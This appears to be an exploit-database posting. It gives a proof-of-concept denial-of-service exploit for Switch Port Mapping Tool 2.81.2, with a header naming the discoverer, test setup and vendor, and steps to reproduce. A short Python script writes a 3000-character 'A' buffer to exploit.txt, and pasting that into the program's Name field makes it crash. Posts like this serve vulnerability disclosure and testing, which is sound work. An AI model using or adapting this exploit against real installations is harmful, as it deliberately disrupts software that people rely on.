Switch Port Mapping Tool 2.81.2 Denial Of Service

`# Exploit Title: Switch Port Mapping Tool 2.81.2 - 'Name Field' Denial of Service (PoC)   
# Discovery by: Shubham Singh  
# Known As: Spirited Wolf [Twitter: @Pwsecspirit]   
# Discovey Date: 2018-08-13  
# Vendor Homepage: https://switchportmapper.com/  
# Software Link: https://switchportmapper.com/download/spm2812.zip  
# Tested Version: 2.81.2  
# Tested on OS: Windows 7 Ultimate x86_64  
# Steps to Reproduce:   
# Run the python exploit script, it will create a new file with the name  
# "exploit.txt". Just copy the text inside "exploit.txt" and start the   
# Managed Switch Port Mapping Tool 2.81.2 program and click on "Enter Key".  
# In the 'Name field' paste the content of "exploit.txt" and click   
# on "OK". You will see a crash.  
  
#!/usr/bin/env python  
  
file = open("exploit.txt","wb")  
junk = "A" * 3000  
exploit = junk  
buf = exploit  
file.write(buf)  
file.close()  
  
`